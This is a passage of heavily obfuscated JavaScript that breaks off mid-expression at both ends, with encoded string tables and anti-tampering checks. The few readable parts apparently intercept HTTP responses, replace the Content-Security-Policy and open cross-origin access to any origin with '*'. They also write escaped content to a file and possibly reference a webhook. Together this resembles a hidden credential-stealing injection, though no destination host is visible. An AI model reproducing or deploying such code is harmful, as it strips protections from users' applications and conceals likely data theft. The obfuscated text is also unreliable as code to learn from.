'gVnV')+_0x35d813(0xb15,0xb1c,0xcf7,'p1^x',0xc98)+_0x29d2a3(0x6bb,0xbfe,0xf9c,0x1261,'GIg]'))+_0x18ae38[_0xe35e6d(0xa38,'@^Br',0x467,0xdb6,0xfc4)+_0xe35e6d(0x45f,'c(Z7',0x46a,0x52b,0x67b)+_0xe35e6d(0x3c6,'FUWk',0xb41,0x5fb,0x11c)]+(_0xe53c8f(0xeeb,'R*Tx',0xcc2,0x1143,0x162d)+_0x50e19f(0xcfb,0x51e,0x7a2,0xe0d,'Z)Xp')+_0x29d2a3(0x238,0x8e8,0x5d1,0x196,'u*kR')+_0x35d813(0x61b,0x240,0x69d,'@%1A',0x5ae)+_0x50e19f(0x368,0xc62,0x648,0x8c4,'Ar]L')+_0x29d2a3(0xe44,0xdc0,0xda8,0x11f2,'9loh')+_0x50e19f(0x94,0x24b,0x63f,0xb79,'4D%T')+_0x35d813(0x60e,0x634,0x6cd,'GIg]',0x832)+_0x35d813(0xc30,0xa07,0xa8b,'lmEu',0x567)+_0x50e19f(0x97a,-0x87,0x644,0x679,'Z)Xp')+_0x29d2a3(0x521,0xb46,0x3ea,0x6ae,'ibNd')+_0x29d2a3(0x95a,0x102a,0x147b,0x920,'@^Br')+_0x35d813(0x1272,0x15b4,0xe7a,'R*Tx',0xf0b)+_0x35d813(0xb26,0x11b4,0x559,'4D%T',0x1111)+_0x35d813(0xb1d,0xc5b,0x357,'GIg]',0xebb)+_0xe35e6d(-0x1d,'8S1s',0x480,0x77a,0x68b)+_0x35d813(0x1442,0xcea,0x155d,'BHF6',0xf22)+_0xe53c8f(0x16a,'GIg]',0x62d,0x364,0x497)+_0x50e19f(0xafc,0x12ce,0xfe2,0x174d,'lmEu')+_0xe35e6d(0xc8f,'tstx',0x12a0,0x1208,0xca1))+_0x51afe7[_0xe53c8f(0xac0,'NagZ',0xccf,0xc5a,0x98e)+'ok']+(_0x29d2a3(0x1365,0xf48,0x136f,0xc22,')G&B')+_0xe53c8f(0xd96,'9loh',0x11a7,0xcef,0x70d)+_0xe35e6d(0xc5a,'c(Z7',0xac4,0x11cc,0x553)+_0xe53c8f(0xbf5,'@%1A',0xdd3,0xd09,0xd12)+_0x50e19f(0xdd7,0xc39,0xb72,0x508,'c(Z7')+_0xe53c8f(0x120,'@%1A',0x801,0x5b2,0x35c)+_0xe35e6d(0x51,'p1^x',-0x3f7,-0x76a,-0x4c9)+_0xe35e6d(0x554,')G&B',0x45b,0x24,0xb5b)+'\x27')+_0x3f09b8[_0xe35e6d(0x8bf,'Uq%W',0x864,0x786,0xb1c)+_0x35d813(0xb55,0x859,0xb3a,'Uq%W',0xe06)+_0xe35e6d(0x553,'w78W',-0x87,-0x1f7,0x999)+_0x50e19f(0xbe2,0x107b,0xd8e,0x8e0,'ibNd')+'y']+(_0x35d813(0xfc3,0x158a,0xcc3,')G&B',0x1580)+_0x35d813(0x1154,0x1071,0xf47,'u*kR',0xf2e)+_0x35d813(0x781,0x97d,0x356,'CD&c',0x178)+_0xe53c8f(0x83a,'W&[J',0x620,0xf3c,0x793)+_0xe35e6d(0x22b,'ibNd',0x54,0x736,0x626)+_0xe35e6d(0xc3,'WJUB',0x4db,0xec,-0x1fe)+_0x29d2a3(0x10b7,0xa72,0xcd4,0x990,'SI6h')+_0x50e19f(0x44b,0x90c,0xa48,0x647,'lmEu')+_0x50e19f(0x2df,0x85d,0x29c,-0x22f,']v1W')+_0xe35e6d(0x74e,'T&Gd',0x3d8,-0x5e,0x703)+_0x29d2a3(0xac4,0xd78,0xcee,0xe39,'WJUB')+_0x35d813(0xda5,0xa98,0x13b7,'w]$Z',0x6ab)+_0x35d813(0x752,0x7a6,0x95f,'4oaC',0x367)+_0x35d813(0xb59,0x692,0x77c,'9r61',0xea4)+_0x29d2a3(0x1019,0xd2c,0x9b0,0x14ca,'Z3ow')+_0x35d813(0xe2d,0x1074,0x1294,'fSRV',0xbcc)+_0x35d813(0xfc7,0xd66,0x138e,']v1W',0xa1c)+_0xe35e6d(0x1a7,'EiYt',0x651,0x362,-0x2ca)+_0x50e19f(0x1027,0x11df,0xcb8,0xc82,'C2UU')+_0xe53c8f(0x22e,'yEI6',0x34f,-0x3c9,-0x11)+_0x29d2a3(0x1713,0x1003,0x10ad,0x9cd,'kObQ')+_0xe53c8f(0xa4,'Uq%W',0x748,0x60c,0x3fa)+_0x50e19f(0x1290,0x5d9,0xbd6,0xec3,'5F(N')+_0x29d2a3(0xb0d,0x7a6,0x22a,0x9a5,']v1W')+_0xe35e6d(0x448,'iHF0',0x371,0x742,-0xcd)+_0x29d2a3(0xc03,0x11c4,0xfe9,0x13b9,'NagZ')+_0x50e19f(0x165,0x476,0x641,0xb7f,'(1pE')+_0xe35e6d(-0x97,'GIg]',-0x534,0x628,0x7)+_0x29d2a3(0x1060,0xc9b,0x135b,0x1121,'FUWk')+_0x50e19f(0xb3b,0xbe4,0x10a1,0x16a4,'p1^x')+_0xe53c8f(0x69e,'EBnq',0x35d,0x431,0x73)+_0x35d813(0x11ec,0x1512,0x17c3,'w78W',0x17ee)+_0xe35e6d(0x6ab,'(1pE',0x237,0xbfa,0xca9)+_0xe35e6d(0x940,'CD&c',0x3e4,0xefa,0x1025)+_0x29d2a3(0x307,0x640,0x43e,0xbd9,'8S1s')+_0x29d2a3(0x824,0x6c1,0x1e3,0xbf8,'l$qj')+_0xe35e6d(0x866,'BHF6',0x5be,0x99e,0xe58)+_0xe35e6d(0x739,'WJUB',0x3a2,0x647,0x902))+_0xc63310[_0xe53c8f(0x79b,'edx3',0x200,0x15d,0xa64)](_0x521035,_0x20ea1c[_0x35d813(0x6bf,0xd23,0x64f,'9r61',0xd3e)])+(_0xe35e6d(0xc34,'CD&c',0x13e4,0x13cd,0x9a0)+_0xe53c8f(0x33,'8S1s',0x33d,-0x73b,-0x64e)+_0xe53c8f(0xe0d,'WSri',0x1168,0x983,0x7a1)+_0xe35e6d(0xb9,'Uq%W',-0x106,-0x515,0x7a5)+_0x29d2a3(0xdf0,0x138c,0x12d5,0x14f0,'w]$Z')+_0xe35e6d(0xc99,'^T15',0x756,0x1239,0xd29)+_0x50e19f(0xaa2,0xc85,0x6fc,0x582,'9r61')+_0x50e19f(0x6c2,0xe8f,0xd5f,0x14fe,'Uq%W')+_0x29d2a3(0xad3,0x1209,0xdc9,0xcae,'yEI6')+';');_0x5f3a16[_0x35d813(0xd2d,0x102a,0x1053,'T&Gd',0x1209)+_0x29d2a3(0x87d,0xf88,0x119d,0x15c6,'(1pE')+_0x35d813(0x1254,0x1928,0xfb0,'w78W',0x1554)](_0x410429,_0x5403c4[_0x29d2a3(0x1044,0xd76,0x5c3,0x1386,'Ar]L')+'ce'](/\\/g,'\x5c\x5c'));}};}());(function(){function _0x40dae6(_0xcee140,_0x1a091a,_0x1c039f,_0x281214,_0x4e8e1f){return _0x2771(_0x1c039f-0x3ca,_0x281214);}function _0x2cfee1(_0x22078c,_0x3fc62d,_0x367fb6,_0x3a87b3,_0x13279c){return _0x2771(_0x13279c-0x2d7,_0x3a87b3);}function _0x4cac9c(_0x505791,_0xcbce3a,_0x4e0291,_0xc841d8,_0x5ce273){return _0x2771(_0xc841d8-0x2a1,_0x5ce273);}const _0x3f6f9a={'EKaSa':_0x2cfee1(0x1263,0xe00,0x72a,'R*Tx',0xee0),'QpVnU':_0x2cfee1(0xe00,0x9d5,0xcf6,'NagZ',0x777)+_0x2cfee1(0x7ba,0x12e6,0x9cb,'(1pE',0xf1f),'BiRzJ':_0x40dae6(0x670,0x25,0x745,'(1pE',0x4c2)+_0x4cac9c(0xe1f,0x15b0,0x1473,0xf63,'GIg]'),'qoYyt':function(_0x227973,_0x4dbef2){return _0x227973!==_0x4dbef2;},'kHlst':_0x4cac9c(0x203,0x6a0,0xecb,0x94e,'W&[J'),'WdHAa':_0x40dae6(0xfb3,0xe8b,0x118a,')9bc',0xfb6)+_0x37a8ba('c(Z7',0xfab,0xc42,0x1763,0x16fd)+_0x40dae6(0x48e,0x9f2,0xa7d,'yEI6',0xac7)+')','FyPbx':_0x4cac9c(0xb90,0x790,0x11,0x49d,'lmEu')+_0x40dae6(-0xfe,0xa94,0x580,'tstx',0x9a)+_0x40dae6(0xe74,0x1064,0xd90,'l$qj',0xfb9)+_0x2cfee1(0x137f,0x1042,0xbda,'SI6h',0x131e)+_0x4cac9c(0xca7,0xfdf,0xd96,0x11d6,'4oaC')+_0x37a8ba('tstx',0x1121,0xa0f,0x1143,0x12b9)+_0x37a8ba('w78W',0x76c,0xc3f,0xe5,0x40a),'TiIpn':function(_0x5676c9,_0x40277){return _0x5676c9(_0x40277);},'EsoBW':_0x4cac9c(0x8cb,0xe3e,0x13e3,0xe7f,'3#kp'),'NHVBh':function(_0x421502,_0x271928){return _0x421502+_0x271928;},'wRPxz':_0x4cac9c(0x759,0x4aa,0x571,0x96f,'lmEu'),'chGAT':_0x46f8ed(0x6bd,0x71c,0x443,')9bc',0x5fd),'pgWxI':function(_0x4526ba,_0x534e82){return _0x4526ba!==_0x534e82;},'QccII':_0x2cfee1(0x931,0xafa,-0x1d,'9r61',0x56e),'LgssC':function(_0x38eee2,_0x3e4044){return _0x38eee2===_0x3e4044;},'NvKcH':_0x46f8ed(-0xe3,0x86d,-0x10c,'R*Tx',0x56e),'NSZjn':function(_0x3607dd){return _0x3607dd();},'pxFuy':function(_0x227279,_0x3e6eec,_0x3a128a){return _0x227279(_0x3e6eec,_0x3a128a);}};function _0x46f8ed(_0x39020c,_0x37cda3,_0x3e3d7b,_0xecc2f1,_0x540755){return _0x2771(_0x540755-0x1e9,_0xecc2f1);}function _0x37a8ba(_0x411826,_0xf1ecbd,_0x277de5,_0x835cb,_0xf7cf7e){return _0x2771(_0xf1ecbd-0x1ab,_0x411826);}_0x3f6f9a[_0x4cac9c(0xeea,0x1373,0x1390,0xf0b,'@^Br')](_0x34e95e,this,function(){const _0x3efeb0={};function _0x303ccc(_0x140d9b,_0x5933e1,_0x5f4415,_0x1e89ea,_0x1cf723){return _0x4cac9c(_0x140d9b-0x15e,_0x5933e1-0x16d,_0x5f4415-0x143,_0x140d9b- -0x525,_0x5933e1);}function _0x3f4812(_0x3f82bc,_0x276ab5,_0xbb7f41,_0xe58a3d,_0x23232a){return _0x2cfee1(_0x3f82bc-0x174,_0x276ab5-0x15a,_0xbb7f41-0x59,_0x276ab5,_0xbb7f41-0xca);}function _0x28d00e(_0x22644e,_0x1f98d4,_0x145e71,_0x4865ce,_0x1de14f){return _0x37a8ba(_0x1f98d4,_0x1de14f- -0x118,_0x145e71-0x19,_0x4865ce-0xfd,_0x1de14f-0x36);}_0x3efeb0[_0x5ca69e(0x672,'4D%T',0x3ff,0x332,0x32d)]=_0x3f6f9a[_0x202d90(-0xdb,0x5fa,'Ar]L',0x2d4,0x5d5)],_0x3efeb0[_0x3f4812(0xb5c,'4oaC',0xd89,0xfdd,0xec6)]=_0x3f6f9a[_0x202d90(0x1274,0x688,'FUWk',0x75c,0xd35)];const _0x5a1550=_0x3efeb0;function _0x202d90(_0x4722f6,_0xde7045,_0x50fbe1,_0x27e732,_0x2cdaa9){return _0x40dae6(_0x4722f6-0x27,_0xde7045-0x33,_0x2cdaa9- -0x1a4,_0x50fbe1,_0x2cdaa9-0xfe);}function _0x5ca69e(_0x3a237a,_0x3435ed,_0x363a13,_0x504003,_0x25cb98){return _0x46f8ed(_0x3a237a-0x1ee,_0x3435ed-0x13e,_0x363a13-0x132,_0x3435ed,_0x363a13- -0x531);}if(_0x3f6f9a[_0x202d90(0xcd8,0x945,'tstx',0x14f,0x7d9)](_0x3f6f9a[_0x5ca69e(0x475,'Uq%W',0x6ce,0x140,0x150)],_0x3f6f9a[_0x202d90(0xf96,0x1399,'3#kp',0xfe4,0xf84)]))_0x1dd5be[_0x3f6f9a[_0x5ca69e(0x17c,'1R)L',0x7e6,0x8a5,0xa6d)]]=_0x158fdc;else{const _0x2a3072=new RegExp(_0x3f6f9a[_0x303ccc(0x321,'iHF0',-0xa6,0x644,0x6d6)]),_0x527b14=new RegExp(_0x3f6f9a[_0x303ccc(0x97b,'5F(N',0xdd8,0x1f0,0x337)],'i'),_0x577291=_0x3f6f9a[_0x303ccc(0xad0,'ibNd',0x1200,0x90c,0xfad)](_0x16adfd,_0x3f6f9a[_0x202d90(0x185b,0xb1c,'w]$Z',0x1386,0x11c6)]);!_0x2a3072[_0x3f4812(0x1061,')G&B',0x121c,0x1807,0xb34)](_0x3f6f9a[_0x202d90(0x1288,0xc02,'u*kR',0x10a8,0xabd)](_0x577291,_0x3f6f9a[_0x3f4812(0xf06,'fSRV',0xf64,0xe0c,0xe7f)]))||!_0x527b14[_0x5ca69e(-0x277,'WJUB',0x29f,0x2d3,0x289)](_0x3f6f9a[_0x5ca69e(-0x276,'l$qj',0x309,-0x139,-0x86)](_0x577291,_0x3f6f9a[_0x5ca69e(-0xcc,'8S1s',0x5ba,-0xbd,0xd45)]))?_0x3f6f9a[_0x5ca69e(0x7ce,'1R)L',0x885,0x769,0xd0b)](_0x3f6f9a[_0x28d00e(0x3fa,'T&Gd',-0x171,0x441,0x3ba)],_0x3f6f9a[_0x202d90(0xd1,-0xb7,'yEI6',0x8b,0x559)])?_0x2b05c3[_0x37fdf9]=_0x3dc64a[_0x23181b]:_0x3f6f9a[_0x3f4812(0xf14,'8S1s',0x9a1,0x985,0xb2d)](_0x577291,'0'):_0x3f6f9a[_0x5ca69e(0xbf,'5F(N',0x277,0x7d3,0x6f6)](_0x3f6f9a[_0x5ca69e(0xc65,'yEI6',0x841,0x1a5,0x110)],_0x3f6f9a[_0x5ca69e(0xbb4,')G&B',0xbf7,0x96c,0x51b)])?_0x3f6f9a[_0x3f4812(0xfe1,'iHF0',0x1096,0x1059,0x12b4)](_0x16adfd):_0x55179c=_0x23e3ad[_0x3f4812(0x124e,'Z3ow',0xaa0,0x10a5,0x99a)](_0x2f9a1c,_0x5a1550[_0x5ca69e(0x2b1,'1R)L',0x474,-0xa6,-0x120)],_0x5a1550[_0x3f4812(0x6c8,'EBnq',0xdca,0x144a,0xa5c)]);}})();}());const _0xbcaf16=(function(){function _0x1b9641(_0x308fc0,_0x5a3078,_0x3babbc,_0x2b53d0,_0xa489ed){return _0x2771(_0x3babbc- -0x3cf,_0x308fc0);}const _0x41a34c={'oszZW':_0x4f49a1(0x8a7,0xc27,0xc77,0xcf6,'u*kR')+_0x1b9641('SI6h',0x575,0xad3,0x468,0x31e)+'m','WnKQt':function(_0x5f122b,_0x557c06){return _0x5f122b(_0x557c06);},'ZgqRz':_0x4f49a1(0x656,0x639,0xa23,0xe2f,'GIg]')+_0x5a5aba(0x4e,'EiYt',0x72c,0xcc9,0x81b)+_0x5e0bee(0x12b2,0xaeb,0x8fb,0x882,'5F(N'),'rpdeU':_0x56bc32(-0x3f8,0x87,0x6e5,0x34d,'9loh')+_0x1b9641('edx3',-0x3ec,0x8,0x52,0x22)+_0x4f49a1(0xb45,0x124a,0xcb0,0xda6,'Ar]L')+_0x1b9641('ibNd',0x1264,0xc50,0xd0c,0x1318)+_0x5a5aba(0xda1,'w78W',0x873,0x12bf,0x1000)+_0x4f49a1(0x11b8,0xe59,0xacc,0x10f2,'EiYt')+'*\x27','wRpdq':_0x5a5aba(0xd54,'gVnV',0x792,0x4f4,0x93f)+_0x56bc32(0xc5b,0xe62,0x1105,0xba7,'BHF6')+_0x1b9641('GIg]',0x6f8,0x510,-0xd,0x710)+_0x4f49a1(0xa2e,0x134,0x537,-0x26a,'BHF6')+_0x4f49a1(0x147c,0x175b,0x1389,0x13d0,'yEI6')+_0x1b9641(']v1W',0x23b,0x32a,-0x4a4,0x15f)+'\x27','MuEIG':function(_0x58881f,_0x200755){return _0x58881f===_0x200755;},'pGMpL':_0x5a5aba(0xcd3,'Uq%W',0xa06,0x956,0x106b),'hemwC':_0x5a5aba(0xd1c,'Z)Xp',0xef7,0x153f,0x118b),'aPDrW':_0x4f49a1(0x31a,0x9bd,0x7df,0xa92,'C2UU'),'vPgzC':function(_0x56b502,_0x158fc9){return _0x56b502===_0x158fc9;},'GYGxC':_0x5e0bee(0xd61,0xdf7,0x12e6,0xd23,'FUWk')+_0x1b9641('4oaC',0x703,0x402,0x866,-0xa1)+_0x5a5aba(0x148,'BHF6',0x655,0x695,0x4da)+_0x4f49a1(0x7be,0xad3,0xf26,0x1137,'lmEu')+_0x56bc32(-0x4b2,-0x12,-0x515,0x1f6,'@%1A')+_0x56bc32(0x1210,0xd12,0xfc0,0xcfc,'Ar]L')+'y','sVkBV':function(_0xbb3458,_0x4014c4,_0x5bff5a,_0x482ba0){return _0xbb3458(_0x4014c4,_0x5bff5a,_0x482ba0);},'HUGNf':function(_0x29de2a,_0x52ecb3){return _0x29de2a!==_0x52ecb3;},'wcPIo':_0x4f49a1(0x1116,0x18cd,0x1265,0x1406,'1R)L'),'PWDUL':_0x1b9641('u*kR',0x5f,0x6d0,0x376,0x12a)};function _0x56bc32(_0x1232e7,_0x43df04,_0x21a70c,_0x2b57c3,_0x10283c){return _0x2771(_0x2b57c3- -0x22f,_0x10283c);}function _0x5a5aba(_0x975019,_0x15030f,_0x12eb55,_0x11eb7b,_0x51df2d){return _0x2771(_0x51df2d-0x202,_0x15030f);}let _0x5c82ea=!![];function _0x5e0bee(_0x5f025b,_0x19e626,_0x858274,_0x33e549,_0x28c2d8){return _0x2771(_0x19e626-0x207,_0x28c2d8);}function _0x4f49a1(_0x15caaf,_0x428638,_0x5328bd,_0x1f1909,_0x2ddab2){return _0x2771(_0x5328bd-0x2cc,_0x2ddab2);}return function(_0x851cbf,_0x3ed43f){function _0x192b71(_0x265aa4,_0x4653f0,_0x55bda7,_0x108c7a,_0x5cb813){return _0x56bc32(_0x265aa4-0x1dd,_0x4653f0-0xb8,_0x55bda7-0xb5,_0x265aa4-0x5e0,_0x108c7a);}function _0x52ded9(_0x2265ee,_0x55e733,_0x3f90ab,_0x2832e7,_0x288869){return _0x5e0bee(_0x2265ee-0xe7,_0x288869-0x4b,_0x3f90ab-0xe0,_0x2832e7-0x1d2,_0x2265ee);}function _0x4ea6bc(_0x3e5f66,_0x5df274,_0xcd45fb,_0x3ce79f,_0x5b5c40){return _0x5a5aba(_0x3e5f66-0x142,_0x3ce79f,_0xcd45fb-0x96,_0x3ce79f-0x6c,_0x5b5c40- -0x516);}function _0x45257e(_0x264fbb,_0x4fe240,_0x4851f0,_0x3dfc98,_0x4a0642){return _0x56bc32(_0x264fbb-0x18d,_0x4fe240-0x148,_0x4851f0-0x1f1,_0x3dfc98-0x31b,_0x264fbb);}function _0x446990(_0x340a7d,_0x1c3643,_0x4f9946,_0x991d6e,_0x3f3745){return _0x5a5aba(_0x340a7d-0x111,_0x1c3643,_0x4f9946-0xcf,_0x991d6e-0x1a6,_0x340a7d-0x16c);}if(_0x41a34c[_0x45257e('edx3',0x11e4,0xba4,0xf65,0x1688)](_0x41a34c[_0x45257e('w]$Z',0x5db,0x55a,0x7d0,0xce5)],_0x41a34c[_0x45257e('9loh',0xb15,0xb74,0x6c6,0x848)])){const _0x58add1=_0x5c82ea?function(){function _0x1f48c0(_0x34c71b,_0x25d7c0,_0x43981e,_0x21f1bd,_0x4d31ec){return _0x52ded9(_0x34c71b,_0x25d7c0-0xa4,_0x43981e-0x88,_0x21f1bd-0x94,_0x25d7c0-0x106);}function _0x3bcb7f(_0x41af8c,_0x55244e,_0x1a0bea,_0x4d2a39,_0x262dfa){return _0x446990(_0x41af8c-0x35,_0x1a0bea,_0x1a0bea-0x101,_0x4d2a39-0x166,_0x262dfa-0x4d);}const _0x30b86b={'ZaVTn':_0x41a34c[_0xc0e0e4(0x9ff,0xfd2,'CD&c',0xff6,0xcc7)],'qyykl':function(_0x2613a2,_0x524064){function _0x4525eb(_0x5b40fb,_0x426276,_0x4178c4,_0x4ed4de,_0x1d11e5){return _0xc0e0e4(_0x5b40fb-0x1ca,_0x426276-0x1ed,_0x4178c4,_0x4ed4de- -0x446,_0x1d11e5-0x27);}return _0x41a34c[_0x4525eb(0xfc2,0x335,'tstx',0x9dc,0x56f)](_0x2613a2,_0x524064);},'kiohm':function(_0x2219c9,_0x164ca2){function _0x57f912(_0x5d8734,_0x4dabbc,_0x1aa244,_0x1742ab,_0x4b36da){return _0xc0e0e4(_0x5d8734-0x33,_0x4dabbc-0x81,_0x1aa244,_0x1742ab- -0x462,_0x4b36da-0x1a4);}return _0x41a34c[_0x57f912(0x4b9,0x22c,'e!nd',-0xc9,-0x5f4)](_0x2219c9,_0x164ca2);},'UIYJM':_0x41a34c[_0xc0e0e4(0xd3e,0xe53,'ibNd',0x8c7,0xd4a)],'tSaAw':_0x41a34c[_0x3bcb7f(0x102f,0xe53,'9loh',0xa03,0x1585)],'lkoGa':_0x41a34c[_0x1f48c0('3#kp',0x9ff,0x5e1,0x898,0x6aa)]};function _0x2dab65(_0x3f8c1f,_0x551826,_0x36bebf,_0x22793e,_0x3c6a16){return _0x45257e(_0x36bebf,_0x551826-0x2d,_0x36bebf-0x190,_0x3f8c1f- -0x214,_0x3c6a16-0x175);}function _0xc0e0e4(_0x17afd9,_0x42702b,_0x4b5a3,_0x40c0b3,_0x3e8f02){return _0x446990(_0x40c0b3- -0x289,_0x4b5a3,_0x4b5a3-0x195,_0x40c0b3-0x43,_0x3e8f02-0xb7);}function _0x457c5f(_0x260ad4,_0x453f78,_0x1ac0d9,_0x3330eb,_0x46cf14){return _0x446990(_0x46cf14-0x45,_0x453f78,_0x1ac0d9-0x7c,_0x3330eb-0x193,_0x46cf14-0x12d);}if(_0x41a34c[_0x3bcb7f(0xcb3,0x998,'BHF6',0x1337,0x1142)](_0x41a34c[_0x1f48c0('NagZ',0xc03,0x8d2,0x8f8,0xed4)],_0x41a34c[_0x2dab65(0xd60,0xaa3,'NagZ',0x870,0x128f)]))_0xe9ed4d[_0x2dab65(0x157,0x90c,'EBnq',0x454,-0x481)](0x25d7+-0x187*-0x17+0x91f*-0x8);else{if(_0x3ed43f){if(_0x41a34c[_0xc0e0e4(0x1159,0xde6,'l$qj',0x1047,0x101a)](_0x41a34c[_0x1f48c0('Z)Xp',0x1116,0x13d4,0x129e,0x125a)],_0x41a34c[_0x457c5f(0x308,'(1pE',0xb58,0x53d,0x9e8)])){const _0x4803a3=_0x3ed43f[_0x2dab65(0xf5a,0xf81,'1MkO',0x138f,0x1580)](_0x851cbf,arguments);return _0x3ed43f=null,_0x4803a3;}else{if(_0x43bbca[_0x2dab65(0x611,0x740,'NagZ',0x6fa,0xaaa)][_0xc0e0e4(0x8a5,0x6e8,'w78W',0x637,0xa1d)+_0x2dab65(0x338,0x16b,'4D%T',-0x421,0x1b)](_0x30b86b[_0x1f48c0(')G&B',0x13b9,0xe24,0xf22,0x1b43)])){const _0x4a42e8={};_0x4a42e8[_0xc0e0e4(0x141,0xab0,'yEI6',0x7ca,0x519)+_0x1f48c0('w78W',0xb07,0x8b2,0x860,0xe7a)+_0x3bcb7f(0xdaa,0xab7,'T&Gd',0x8d3,0xe88)+_0x2dab65(0x13d,0x813,'EBnq',-0x63b,-0x176)+_0x1f48c0('(1pE',0xaf8,0x458,0xb12,0x64c)+_0x457c5f(0xd0e,'(1pE',0x8b2,0x5d1,0x825)]='*',_0x30b86b[_0xc0e0e4(0xf8b,0x396,'4oaC',0x944,0x1dd)](_0x13dfa8,{'responseHeaders':_0x5e5b69[_0x1f48c0('EiYt',0x1135,0x1342,0xb1f,0xab3)+'n'](_0x4a42e8,_0x1ff4ba[_0x1f48c0(')9bc',0xd22,0x1362,0xbce,0x1219)+_0x2dab65(0xd88,0xdb6,'tstx',0xf08,0x5e3)+_0x3bcb7f(0x11ef,0xe60,'4D%T',0x1046,0x12b3)])});}else _0x30b86b[_0x2dab65(0xc90,0x897,'kObQ',0xefe,0x51f)](_0x700652,{'responseHeaders':_0x894b0a[_0x457c5f(0x738,'1R)L',0x682,-0x28b,0x53a)+'n']({'Content-Security-Policy':[_0x30b86b[_0x3bcb7f(0x7be,0x294,'1MkO',0x3e4,0xa1a)],_0x30b86b[_0x1f48c0('T&Gd',0x10b1,0x1311,0x1267,0x1330)],_0x30b86b[_0xc0e0e4(0x952,0x2f4,'yEI6',0x495,-0x275)]],'Access-Control-Allow-Headers':'*','Access-Control-Allow-Origin':'*'},_0x5635a0[_0x457c5f(0xb7e,'8S1s',0xba6,0x12d0,0xd54)+_0x457c5f(0x1566,'u*kR',0x1987,0x1499,0x11cc)+_0x1f48c0('lmEu',0xf0b,0x834,0xbfd,0xf67)])});}}}}:function(){};return _0x5c82ea=![],_0x58add1;}else{let _0x1c41ab=_0x24bc38[_0x52ded9('@^Br',0xee1,0x1256,0x1292,0x11a2)+'Of'](_0x5a6712[_0x52ded9('lmEu',0x174a,0x1825,0x12ba,0x11cf)+'t'](_0x566f0d)[_0x192b71(0x545,0x453,0x616,'Uq%W',0xc99)+_0x52ded9('4oaC',0x590,0xcd2,0xd74,0xb83)+'e']());if(_0x41a34c[_0x4ea6bc(0xaee,0xa18,0x71b,'^T15',0xad4)](_0x1c41ab,-(0x3*0x795+0x6*0x392+-0x2c2a)))_0x434530[_0x45257e('w]$Z',0xfc7,0x4d2,0xb52,0xa8b)](_0x41a34c[_0x446990(0x7f6,'@%1A',0xef7,0x5bb,0x3d6)]);_0x359bdb+=_0x41a34c[_0x4ea6bc(0xd65,0x1270,0xbae,'WSri',0xbff)](_0x234e13,_0x1c41ab[_0x52ded9('SI6h',0x1541,0xe31,0x133a,0x120f)+_0x192b71(0xe19,0x12d9,0x12ae,'C2UU',0xf97)](0x1f*-0xa5+-0x11*-0x142+0x165*-0x1),0x18a1+-0x2373+-0x39d*-0x3,'0');}};}()),_0x11172e=_0xbcaf16(this,function(){const _0x233ae2={'opZPd':_0x13b368(0xa45,0x5df,0x78f,'BHF6',0x304)+'ts','phTDy':function(_0x3b4daf,_0x54df4b){return _0x3b4daf===_0x54df4b;},'fkfqv':_0x13b368(0xd90,0xb86,0x3e7,'GIg]',0x75b),'ZfWLw':_0x13b368(0x892,0xfde,0xf63,'EiYt',0xf60),'zVbyI':function(_0x9185e7,_0x250562){return _0x9185e7(_0x250562);},'oFhQB':function(_0x50c28,_0x15f179){return _0x50c28+_0x15f179;},'eKbga':function(_0x307403,_0x461ac6){return _0x307403+_0x461ac6;},'XtPOX':_0x4482f6(0x1336,0xcaf,0xe7d,0x8c2,'5F(N')+_0x13b368(0x102d,0x1227,0x745,'iHF0',0xb4b)+_0x444d8b(-0x2a,'@%1A',0x4f1,0x394,0x352)+_0x5564ea(0x7ee,')9bc',0x724,0x9a2,0xcb5),'Aqyjl':_0x444d8b(-0x8b,'ibNd',0x341,0x261,0x530)+_0x444d8b(0xc3a,'@^Br',0x11e8,0xb96,0x87a)+_0x13b368(0xdf,0x6d4,0xc5a,'tstx',0x4bd)+_0x5564ea(0x9f7,'8S1s',0x1252,0xdf1,0x10db)+_0x13b368(0x430,0x9ad,0xf3a,'W&[J',0x93c)+_0x13b368(0x819,0xbf3,0xc3a,'ibNd',0x787)+'\x20)','wPUEj':function(_0x2fc849){return _0x2fc849();},'PzpWs':_0x3e5b7e(0x195,0x64f,'CD&c',0x52b,0x681),'PhLhB':_0x13b368(0x857,-0x162,0xa82,'e!nd',0x436),'ZyrQH':_0x4482f6(0x51b,0xa5a,0x81c,0xb74,'w]$Z'),'Gdzjm':_0x13b368(0xf99,0x524,0x96e,'4D%T',0xcb0),'yeOMs':_0x4482f6(0xd4b,0x6f6,-0x4f,0x4e0,'Z3ow'),'NZaKR':_0x444d8b(-0x55,'iHF0',-0x445,0x5ad,0xb7)+_0x444d8b(0x6fa,'lmEu',0x65c,0x24,0x9fd),'KPRiz':_0x13b368(0xced,0x988,0xb4a,'iHF0',0xdd6),'VqxSm':_0x444d8b(0x712,'1MkO',0x4d4,0x1c2,0x241),'iCEMI':function(_0x58f99b,_0x4b36c8){return _0x58f99b<_0x4b36c8;},'WQgte':function(_0x1f8400,_0x327e22){return _0x1f8400===_0x327e22;},'wdhYI':_0x13b368(0xc30,0x139d,0x611,'tstx',0xc32)};function _0x444d8b(_0x1427fd,_0x35e497,_0xda87eb,_0xd06ed5,_0x42b10d){return _0x2771(_0x1427fd- -0x1e4,_0x35e497);}let _0x3ebdd7;try{if(_0x233ae2[_0x5564ea(0x18f8,'C2UU',0x1467,0x15a0,0x1342)](_0x233ae2[_0x444d8b(-0x89,')G&B',0x5,-0x28e,-0x2c0)],_0x233ae2[_0x13b368(-0x59,0x6cf,0x738,'Ar]L',0x317)])){const _0x2cd5c6=_0x362a85?function(){function _0x5a649e(_0x53fca7,_0x34ee79,_0x2f34be,_0x5deb50,_0x3a84cd){return _0x13b368(_0x53fca7-0x8a,_0x34ee79-0x49,_0x2f34be-0x128,_0x3a84cd,_0x5deb50-0x239);}if(_0x31af37){const _0x4d15e6=_0x3ed652[_0x5a649e(0x901,0xef3,0xc99,0xc95,'e!nd')](_0x4ae842,arguments);return _0x1d7512=null,_0x4d15e6;}}:function(){};return _0x3faf2d=![],_0x2cd5c6;}else{const 